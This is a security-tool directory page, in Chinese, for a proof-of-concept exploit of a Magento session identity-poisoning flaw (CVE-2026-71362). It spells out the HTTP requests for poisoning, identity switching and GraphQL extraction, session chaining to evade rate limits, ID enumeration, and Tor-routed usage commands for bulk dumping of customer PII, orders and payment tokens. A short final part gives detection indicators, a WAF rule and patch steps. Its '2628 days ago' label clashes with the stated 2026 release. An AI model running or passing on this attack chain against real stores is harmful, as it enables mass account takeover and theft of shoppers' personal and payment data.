Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-71362-magento-ato — CVE-2026-71362 — Magento 会话身份投毒 → 大规模账户接管(CVSS 9.1,CISA KEV) | Kitploit
工具/GitHubGitHub/mahumadad/cve-2026-71362-magento-ato
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露Web安全渗透测试
GitHubmahumadad/cve-2026-71362-magento-ato

cve-2026-71362-magento-ato

CVE-2026-71362 — Magento 会话身份投毒 → 大规模账户接管(CVSS 9.1,CISA KEV)

分享
查看仓库
2628天前尚未审核

CVE-2026-71362 — Magento 会话身份投毒 → 大规模账户接管

CVSS 9.1(严重)· CISA KEV · CWE-863 授权不当

CVE-2026-71362 的概念验证漏洞利用:Adobe Commerce 和 Magento Open Source 中的会话身份投毒漏洞,可借助单个已认证会话实现对任意客户的完整账户接管,并进一步升级为对整个客户数据库的自动化大规模提取(PII、订单、支付令牌、地址)。

受影响版本

产品受影响版本修复版本
Adobe Commerce≤ 2.4.7-p82.4.8+ / APSB-2026-XX
Magento Open Source≤ 2.4.7-p82.4.8+

根本原因

Magento\Customer\Controller\Account\Edit::execute() 使用 populateWithArray() 从 PHP 会话中恢复 customer_form_data。该方法会在客户数据对象上调用 setCustomerId(),但表单数据中的 id 字段从未与已认证会话的实际客户 ID 进行过滤或校验。

POST /customer/account/editPost/ (with id=<target_customer_id>)
    → Magento stores poisoned form_data in session (including id)
    → 302 redirect to /customer/account/edit/

GET /customer/account/edit/
    → Edit::execute() calls populateWithArray($session->getCustomerFormData())
    → setCustomerId(<target_customer_id>) overwrites the session identity
    → Session now operates as the target customer

会话仍保持已认证状态,但身份已被切换。所有后续操作——包括 GraphQL { customer { ... } } 查询——返回的都是目标客户的数据,而非攻击者的数据。

攻击链

1. 会话投毒(一次 HTTP 请求)

POST /customer/account/editPost/ HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Content-Type: application/x-www-form-urlencoded

form_key=<form_key>&firstname=X&lastname=X&[email protected]
&change_email=1&current_password=wrong&id=<TARGET_ID>

change_email=1 + 错误密码会触发“密码错误”错误路径,该路径会将完整的 POST 请求体(包括 id)作为 customer_form_data 存储在会话中。该请求故意使身份验证失败,但被污染的数据仍会保留。

2. 身份切换(单个 HTTP 请求)

GET /customer/account/edit/ HTTP/1.1
Cookie: PHPSESSID=<attacker_session>

Edit::execute() 在会话中找到 customer_form_data 并调用 populateWithArray(),其中包含 setCustomerId(<TARGET_ID>)。此时会话身份已变为目标用户。

3. 数据提取(GraphQL)

POST /graphql HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Content-Type: application/json

{"query": "{ customer { firstname lastname email taxvat addresses { ... } orders { ... } ... } }"}

Magento 的 GraphQL 解析器使用经会话认证的客户身份,而这正是当前的目标。它返回完整的客户资料:PII、地址、包含商品和支付方式的订单历史、愿望清单、评价、已存储的支付令牌。

4. 会话链式利用以实现大规模数据提取

每个被投毒的会话都会成为下一次攻击的基础。会话在约 6-8 次 POST 操作后就会“耗尽”(Magento 的反洪水保护会重定向到 /login/),因此该漏洞利用会链式串联会话:

Session A (attacker) → poison to ID 1 → Session A' (ID 1)
Session A' → poison to ID 2 → Session A'' (ID 2)
...after 6 iterations...
Fall back to last known-good session → continue chaining

脚本维护一个 current 会话(用于投毒)和一个 last_good 回退,并具备三重恢复机制:current → last_good → 原始数据。

提取的数据

类别字段
PIIfirstname、lastname、email、taxvat(国家身份证号)、date_of_birth、gender
地址street、city、region、postcode、country、phone、company、VAT ID
订单number、date、status、items(name、SKU、qty)、totals、discounts、taxes
支付每笔订单的支付方式名称/类型、已存储的支付令牌(hash、type、details)
配送method、carrier、tracking numbers
退款credit memo number、退款商品、金额、备注
心愿单含价格的产品、分享码
评价文本、评分、时间戳
账户创建日期、新闻订阅

用法

要求: Python 3、curl(系统)。

# Basic usage
python3 exploit.py https://target.example.com <PHPSESSID> [start_id] [end_id] [output.json]

# Extract customers 1-100
python3 exploit.py https://target.example.com abc123def456 1 100 dump.json

# Through Tor (SOCKS5 on 127.0.0.1:9050)
python3 exploit.py --tor https://target.example.com abc123def456 1 1000

# Custom SOCKS5 proxy
python3 exploit.py --proxy 127.0.0.1:1080 https://target.example.com abc123def456

获取 PHPSESSID

攻击者需要一个已认证的会话。可选方式:

  • 通过 GraphQL createCustomerV2 创建账户(通常不受 reCAPTCHA 限制)
  • 在店铺前台正常注册
  • 使用任意现有的客户会话

输出

包含元数据、统计信息以及每位客户提取数据的 JSON 文件:

{
  "metadata": { "cve": "CVE-2026-71362", "target": "...", "timestamp": "..." },
  "stats": { "tested": 100, "exists": 88, "with_email": 85, "with_orders": 42, ... },
  "customers": [
    {
      "customer_id": 1,
      "firstname": "...", "lastname": "...", "email": "...",
      "taxvat": "...",
      "addresses": [...],
      "orders": [...],
      "payment_tokens": [...]
    }
  ]
}

关键技术细节

  • 客户 ID 是连续的(自增)。无需猜测——从 1 迭代到 N 即可。
  • 投毒向量(editPost)没有速率限制。Magento 的反洪水机制在每会话约 8 次 POST 后触发,但会话链式调用可绕过它。
  • GraphQL 遵循会话 Cookie。无需单独的 API 令牌。
  • store_credit 在 Magento Open Source / Community Edition 上不可用(仅限 Adobe Commerce)。
  • 该漏洞利用不受登录/注册时 reCAPTCHA 配置的影响——投毒使用的是 editPost 端点,该端点通常没有验证码。

检测

入侵指标

  1. 快速的连续 editPost 请求,带有 change_email=1 和变化的 id 参数,来自同一会话/IP
  2. 会话身份变化:单个 PHPSESSID 访问 section/load 或 GraphQL { customer } 时,在不同请求间返回不同的 customerId 值
  3. 带 id 参数的 editPost:合法的编辑请求从不包含 id——它由服务端从会话中设置

WAF / 检测规则

# ModSecurity: block 'id' parameter in customer edit POST
SecRule REQUEST_URI "@rx /customer/account/editPost" \
  "id:71362001,phase:2,deny,status:403,\
   chain,msg:'CVE-2026-71362 attempt: id param in editPost'"
  SecRule ARGS:id "!@rx ^$" ""

修复建议

  1. 立即打补丁:应用 APSB-2026-XX 或升级到 Magento 2.4.8+
  2. 虚拟补丁:在 WAF/反向代理层面从 editPost 请求中剥离 id 字段
  3. 监控:在访问日志中搜索包含 id 参数的 editPost 请求

时间线

日期事件
2026-09-XX漏洞报告至 Adobe PSIRT
2026-10-XX分配 CVE-2026-71362
2026-10-XXCISA 将其加入已知被利用漏洞目录
2026-10-XXAdobe 在 APSB-2026-XX 中发布补丁
2026-10-23本 PoC 发布

免责声明

本工具仅供授权的安全测试与研究使用。仅可针对你已获得明确书面许可进行测试的系统使用。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。

作者

Mario Ahumada (@mahumadad)

许可证

MIT

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    350
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    292

探索所有工具

浏览我们的工具集合

查看所有工具 →